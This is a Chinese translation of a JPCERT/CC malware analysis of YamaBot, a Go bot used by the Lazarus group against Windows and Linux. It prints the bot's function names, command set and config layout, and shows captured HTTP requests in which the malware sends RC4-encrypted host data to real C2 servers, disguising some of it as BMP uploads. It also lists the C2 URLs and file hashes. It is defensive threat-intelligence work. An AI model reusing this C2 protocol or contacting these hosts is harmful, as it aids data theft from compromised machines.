作者:朝長 秀誠
譯者:知道創宇404實驗室翻譯組
原文鏈接:https://blogs.jpcert.or.jp/en/2022/07/yamabot.html
JPCERT/CC正在持續調查Lazarus的活動。2021年,JPCERT/CC在CODE BLUE和HITCON上介紹了其攻擊活動。
https://github.com/JPCERTCC/Lazarus-research/
上述研究報告中提到的YamaBot惡意軟件針對的是Linux操作系統,但最近發現的另一種惡意軟件針對的是Windows操作系統。(文件中稱其為Kaos,但本博客稱其為YamaBot。)YamaBot是在Golang中編碼的惡意軟件,在不同平臺創建的惡意軟件的功能略有不同。除了YamaBot,Lazarus還創建了其他幾種針對多個平臺的惡意軟件,例如VSingle。本文將介紹YamaBot的詳細信息。
YamaBot概述
YamaBot惡意軟件使用HTTP請求與C2服務器通信。下面是示例中以Windows操作系統為目標的函數名列表。攻擊者將惡意軟件命名為Yamabot。針對Windows操作系統的互斥鎖具有特定的功能,例如創建和檢查互斥鎖。
_/D_/Bot/YamaBot/utilities.BaseDecodeR
_/D_/Bot/YamaBot/utilities.HttpPostWithCookie
_/D_/Bot/YamaBot/utilities.HttpPostWithFile
_/D_/Bot/YamaBot/utilities.GetMacAddress
_/D_/Bot/YamaBot/utilities.GetHash
_/D_/Bot/YamaBot/utilities.GetCookieParams
_/D_/Bot/YamaBot/utilities.GetRndString
_/D_/Bot/YamaBot/utilities.BmpMaker
_/D_/Bot/YamaBot/utilities.createMutex
_/D_/Bot/YamaBot/utilities.CCheckkmutex
_/D_/Bot/YamaBot/utilities.CIpaddress
_/D_/Bot/YamaBot/utilities.COsname
_/D_/Bot/YamaBot/utilities.getOSVer
_/D_/Bot/YamaBot/utilities.Run
_/D_/Bot/YamaBot/utilities.Run.func1
_/D_/Bot/YamaBot/utilities.Run.func2
_/D_/Bot/YamaBot/engine.(*FileStruct).Lunch
_/D_/Bot/YamaBot/engine.(*FileStruct).Init_Verbindung
_/D_/Bot/YamaBot/engine.(*FileStruct).Verschlusselte_Zeichenkette_Eerhalten
_/D_/Bot/YamaBot/engine.(*FileStruct).getInitBotInfo
_/D_/Bot/YamaBot/engine.(*FileStruct).getEggPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).handleMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).processMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).getSessionStr
下面是針對Linux操作系統的樣本中包含的惡意軟件的函數名稱列表,稱為Kaos。
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecodeR
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithCookie
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecode
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithFile
_/C_/Users/administrator/Downloads/kaos/utilities.GenerateUniqueID
_/C_/Users/administrator/Downloads/kaos/utilities.GetCookieParams
_/C_/Users/administrator/Downloads/kaos/utilities.BaseEncode
_/C_/Users/administrator/Downloads/kaos/utilities.GetRndString
_/C_/Users/administrator/Downloads/kaos/utilities.EierKochen
_/C_/Users/administrator/Downloads/kaos/utilities.CIpaddress
_/C_/Users/administrator/Downloads/kaos/utilities.Run
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).GetEncString
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getInitEggPrice
_/C_/Users/administrator/Downloads/kaos/utilities.COsname
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).handleMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getSessionStr
_/C_/Users/administrator/Downloads/kaos/engine.NewEgg
圖1顯示了讀取配置的部分代碼。惡意軟件配置信息包括RC4密鑰等(請參閱附錄A了解配置的更多信息)。不同操作系統的配置沒有區別。
下面介紹YamaBot的通信方式和命令,重點介紹YamaBot在Linux和Windows操作系統版本上的區別。
通信方式
YamaBot 使用 HTTP 請求與 C2 服務器通信。YamaBot發送的第一個 HTTP 開機自檢請求如下。這是一個 HTTP 開機自檢請求,但沒有要發送的數據,其用戶代理是 Base64 編碼的。
POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Accept-Encoding: gzip
如果成功連接到C2服務器,則YamaBot發送以下請求,其中包括其Cookie標頭中的信息。添加的信息包括隨機生成的4字節字符串和16字節RC4密鑰的Base64編碼。RC4密鑰使用從以下數據生成的MD5值的前16個字節。
- 目標Windows操作系統:主機名、用戶名、MAC地址
- 目標Linux操作系統:主機名、用戶名
captcha_val中的內容:RC4加密和Base64編碼的終端信息和命令執行結果
POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Cookie: captcha_session=MTE5NzZmMTYwYzRlNTU4YjhhNDZhMTM4ZGMwNzgzNTNhNmUy; captcha_val=W%2BIePQNeokInrSpb%2Fw1rTLAZvJAZQHmqAm2rXWdTsCvZ
Accept-Encoding: gzip
captcha_val發送的第一個數據是操作系統信息和IP地址,發送如下內容:
windows 6 amd64|[192.168.1.1]
linux 386|[192.168.1.1]
此外,如果發送的數據大小超過特定大小(確認3333字節,7000字節的示例),則將發送的數據模擬為多部分BMP數據,而不是 captcha_val發送。
POST /recaptcha.php HTTP/1.1
Host: www.karin-store.com
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: [Length]
Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Cookie: captcha_session=YTY5NDQ5MDYwNmRkNjIyOWI3MzU1NTNmYzMxMzhiNTAyNGJh; captcha_val=NGI5NjdhNTdhNjliZTVkMg%3D%3D
Accept-Encoding: gzip
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png"
Content-Type: application/octet-stream
BMf6(....0a..DT043b01c728892b495b99ea4c257fe3a8fea3a5f
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb--
來自服務器的命令包含在Set-Cookie標頭中。它們經過RC4加密(RC4密鑰使用惡意軟件發送的數據)和Base64編碼,然后包含在captcha_session中,如下所示:
Set-Cookie: captcha_session=[Base64エンコードされた命令]
命令
來自C2服務器的指令執行的命令因目標操作系統而異。那些以Linux操作系統為目標的用戶只能通過/bin/sh執行shell命令。另一方面,那些以Windows操作系統為目標的用戶可以實現以下多個命令。
- dir: 獲取文件列表
- Mapfs: 獲取目錄列表
- Download: 文件下載
- Info: 文件路徑,發送PID
- Sleep:休眠時間更改
- Uninstall: 刪除主機
- i: 間隔時間更改
- 其他:使用shell命令執行給定的字符串
格式要求上述命令包含在前半部分,可表示為:[command][command parameters]
如果執行命令i,則發送命令執行結果,其中包含部分德語字符,目前尚不清楚在YamaBot中包含德語的原因。
總結
攻擊者仍在使用YamaBot惡意軟件。由于它不僅針對Windows操作系統,還針對Linux操作系統,因此在事件調查期間還應仔細調查服務器。日本國內當前也確認了多個Lazarus組織的攻擊活動,今后應予以注意。Lazarus使用的另一種惡意軟件將在下一期中介紹。
附錄A:配置信息
| 偏移 | 描述 | 備注 |
|---|---|---|
| 0x000 | 間隔 | 通信間隔 |
| 0x004 | - | 未使用 |
| 0x008 | C2 服務器 | |
| 0x00C | C2 服務器長度 | |
| 0x010 | RC4 密鑰 | |
| 0x014 | RC4 密鑰長度 | |
| 0x018 | 連接 C2 服務器 | 是否成功連接到 C2 服務器 |
| 0x01C | Cookie 標頭值 | 要在 Cookie 標頭中設置的值 |
| 0x020 | - | 未使用 |
| 0x024 | 連接次數 | 與 C2 服務器的重新連接次數 |
| 偏移 | 描述 | 備注 |
|---|---|---|
| 0x000 | 間隔 | 通信間隔 |
| 0x008 | C2 服務器 | |
| 0x010 | C2 服務器長度 | |
| 0x018 | RC4 密鑰 | |
| 0x020 | RC4 密鑰長度 | |
| 0x028 | 連接 C2 服務器 | 是否成功連接到 C2 服務器 |
| 0x030 | Cookie 標頭值 | 要在 Cookie 標頭中設置的值 |
| 0x038 | - | 未使用 |
| 0x040 | 連接次數 | 與 C2 服務器的重新連接次數 |
附錄B: C2 服務器
- http://www.karin-store.com/recaptcha.php
- http://yoshinorihirano.net/wp-includes/feed-xml.php
- http://213.180.180.154/editor/session/aaa000/support.php
附錄C:惡意軟件哈希值
- f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
- 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1932/
暫無評論